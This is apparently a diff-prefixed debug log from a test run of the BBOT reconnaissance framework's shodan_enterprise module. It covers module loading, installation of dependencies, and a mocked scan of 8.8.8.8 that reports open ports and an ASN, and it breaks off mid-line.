+2026-03-01 16:54:54,103 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache +2026-03-01 16:54:54,104 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache +2026-03-01 16:54:54,104 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache +2026-03-01 16:54:54,106 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache +2026-03-01 16:54:54,106 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache +2026-03-01 16:54:54,107 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache +2026-03-01 16:54:54,107 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache +2026-03-01 16:54:54,108 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache +2026-03-01 16:54:54,108 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache +2026-03-01 16:54:54,109 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache +2026-03-01 16:54:54,110 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache +2026-03-01 16:54:54,110 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache +2026-03-01 16:54:54,111 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache +2026-03-01 16:54:54,112 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache +2026-03-01 16:54:54,112 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache +2026-03-01 16:54:54,113 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache +2026-03-01 16:54:54,113 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache +2026-03-01 16:54:54,114 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache +2026-03-01 16:54:54,115 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache +2026-03-01 16:54:54,115 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache +2026-03-01 16:54:54,116 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache +2026-03-01 16:54:54,116 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache +2026-03-01 16:54:54,117 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache +2026-03-01 16:54:54,117 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache +2026-03-01 16:54:54,118 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache +2026-03-01 16:54:54,119 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache +2026-03-01 16:54:54,119 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache +2026-03-01 16:54:54,120 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache +2026-03-01 16:54:54,120 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal +2026-03-01 16:54:54,121 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache +2026-03-01 16:54:54,121 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache +2026-03-01 16:54:54,122 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache +2026-03-01 16:54:54,123 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache +2026-03-01 16:54:54,123 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache +2026-03-01 16:54:54,124 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache +2026-03-01 16:54:54,124 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly +2026-03-01 16:54:54,125 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache +2026-03-01 16:54:54,126 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report +2026-03-01 16:54:54,126 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache +2026-03-01 16:54:54,127 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache +2026-03-01 16:54:55,222 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-03-01 16:54:55,223 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-03-01 16:54:55,223 [INFO] bbot base.py:99 Starting shodan_enterprise module test +2026-03-01 16:54:55,361 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked +2026-03-01 16:54:55,931 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" +2026-03-01 16:54:55,931 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" +2026-03-01 16:54:55,931 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" +2026-03-01 16:54:55,932 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" +2026-03-01 16:54:56,141 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. +2026-03-01 16:54:56,143 [DEBUG] bbot base.py:103 Mocking DNS +2026-03-01 16:54:56,252 [DEBUG] bbot base.py:105 Executing setup_before_prep() +2026-03-01 16:54:56,252 [DEBUG] bbot base.py:107 Executing scan._prep() +2026-03-01 16:54:56,309 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) +2026-03-01 16:54:56,311 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection +2026-03-01 16:54:56,312 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general +2026-03-01 16:54:56,743 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection +2026-03-01 16:54:56,743 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers +2026-03-01 16:54:59,205 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful +2026-03-01 16:54:59,205 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) +2026-03-01 16:54:59,206 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { + "hosts": "all", + "tasks": [ + { + "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", + "package": { + "name": [ + "libssl-dev", + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Debian'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", + "package": { + "name": [ + "openssl", + "openssl-devel" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Arch)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Archlinux'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Alpine)", + "package": { + "name": [ + "openssl", + "openssl-dev" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Alpine'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (FreeBSD)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'FreeBSD'", + "ignore_errors": true + } + ] +} +2026-03-01 16:55:00,973 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful +2026-03-01 16:55:00,974 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 +2026-03-01 16:55:00,980 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 16:55:00,980 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" +2026-03-01 16:55:00,981 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 16:55:00,981 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" +2026-03-01 16:55:00,981 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 16:55:00,981 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" +2026-03-01 16:55:00,982 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 16:55:00,982 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. +2026-03-01 16:55:00,983 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" +2026-03-01 16:55:00,983 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan +2026-03-01 16:55:00,987 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/1qn3dghab5mtg3b714lg +2026-03-01 16:55:01,746 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) +2026-03-01 16:55:01,747 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" +2026-03-01 16:55:01,748 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise +2026-03-01 16:55:01,867 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" +2026-03-01 16:55:01,867 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) +2026-03-01 16:55:01,867 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive +2026-03-01 16:55:01,869 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" +2026-03-01 16:55:01,869 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" +2026-03-01 16:55:01,869 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) +2026-03-01 16:55:01,869 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python +2026-03-01 16:55:01,870 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" +2026-03-01 16:55:01,871 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) +2026-03-01 16:55:01,871 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules +2026-03-01 16:55:01,872 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress +2026-03-01 16:55:01,872 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() +2026-03-01 16:55:01,873 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() +2026-03-01 16:55:01,873 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress +2026-03-01 16:55:01,873 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve +2026-03-01 16:55:01,873 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() +2026-03-01 16:55:01,874 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() +2026-03-01 16:55:01,874 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve +2026-03-01 16:55:01,875 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise +2026-03-01 16:55:01,875 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() +2026-03-01 16:55:01,875 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() +2026-03-01 16:55:01,876 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise +2026-03-01 16:55:01,876 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive +2026-03-01 16:55:01,876 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() +2026-03-01 16:55:01,877 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() +2026-03-01 16:55:01,877 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive +2026-03-01 16:55:01,877 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python +2026-03-01 16:55:01,877 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() +2026-03-01 16:55:01,878 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() +2026-03-01 16:55:01,878 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python +2026-03-01 16:55:01,878 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress +2026-03-01 16:55:01,878 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() +2026-03-01 16:55:01,879 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() +2026-03-01 16:55:01,879 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress +2026-03-01 16:55:01,879 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) +2026-03-01 16:55:01,879 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) +2026-03-01 16:55:01,879 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) +2026-03-01 16:55:01,880 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) +2026-03-01 16:55:01,880 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) +2026-03-01 16:55:01,880 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) +2026-03-01 16:55:01,880 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue +2026-03-01 16:55:01,881 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue +2026-03-01 16:55:01,881 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. +2026-03-01 16:55:01,881 [DEBUG] bbot base.py:109 Executing setup_after_prep() +2026-03-01 16:55:01,881 [DEBUG] bbot base.py:111 Starting scan +2026-03-01 16:55:02,021 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_hk0jqnboz8 +2026-03-01 16:55:02,022 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops +2026-03-01 16:55:02,132 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started +2026-03-01 16:55:02,133 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING +2026-03-01 16:55:02,133 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING +2026-03-01 16:55:02,134 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'ipv4', 'target'}) +2026-03-01 16:55:02,235 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'ipv4', 'target'}) passed post-check +2026-03-01 16:55:02,235 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'ipv4', 'target'}) +2026-03-01 16:55:02,237 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'ipv4', 'target'}) in-scope because its main host matches the scan target +2026-03-01 16:55:02,237 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) +2026-03-01 16:55:02,239 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:849284b53da532099341e2f2f8f50095ceb8694c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-01 16:55:02,239 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:849284b53da532099341e2f2f8f50095ceb8694c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 16:55:02,240 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) passed post-check +2026-03-01 16:55:02,241 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) +2026-03-01 16:55:02,243 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:849284b53da532099341e2f2f8f50095ceb8694c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 16:55:02,244 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:849284b53da532099341e2f2f8f50095ceb8694c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-03-01 16:55:02,245 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:849284b53da532099341e2f2f8f50095ceb8694c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 16:55:02,246 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:849284b53da532099341e2f2f8f50095ceb8694c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-01 16:55:02,247 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:849284b53da532099341e2f2f8f50095ceb8694c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 16:55:02,249 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:849284b53da532099341e2f2f8f50095ceb8694c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 16:55:02,249 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:849284b53da532099341e2f2f8f50095ceb8694c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded +2026-03-01 16:55:02,253 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) +2026-03-01 16:55:02,254 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) passed post-check +2026-03-01 16:55:02,254 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) +2026-03-01 16:55:02,255 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) +2026-03-01 16:55:02,255 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) because precheck succeeded +2026-03-01 16:55:02,256 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) because precheck succeeded +2026-03-01 16:55:02,257 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) from TARGET +2026-03-01 16:55:02,257 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) passed post-check +2026-03-01 16:55:02,257 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) +2026-03-01 16:55:02,355 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) +2026-03-01 16:55:02,356 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:849284b53da532099341e2f2f8f50095ceb8694c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET +2026-03-01 16:55:02,357 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:849284b53da532099341e2f2f8f50095ceb8694c', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-01 16:55:02,357 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) from TARGET +2026-03-01 16:55:02,358 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) passed post-check +2026-03-01 16:55:02,358 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:55:02,359 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:55:02,360 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-03-01 16:55:02,360 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:55:02,361 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:55:02,361 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:55:02,363 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:55:02,363 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:55:02,364 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-03-01 16:55:02,364 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:55:02,365 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-03-01 16:55:02,365 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 16:55:02,366 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:55:02,366 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:55:02,367 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:55:02,367 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:55:02,368 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:55:02,368 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 16:55:02,369 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:55:02,369 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:55:02,370 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:55:02,370 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-03-01 16:55:02,370 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 16:55:02,371 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-03-01 16:55:02,372 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:55:02,372 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-03-01 16:55:02,373 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:55:02,373 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:55:02,373 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:55:02,374 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:55:02,374 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:55:02,375 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:55:02,375 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-03-01 16:55:02,376 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-03-01 16:55:02,376 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 16:55:02,377 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:55:02,377 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 16:55:02,378 [DEBUG] bbot.modules.output.python base.py:1563 Queueing ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because precheck succeeded +2026-03-01 16:55:02,378 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:55:02,378 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting 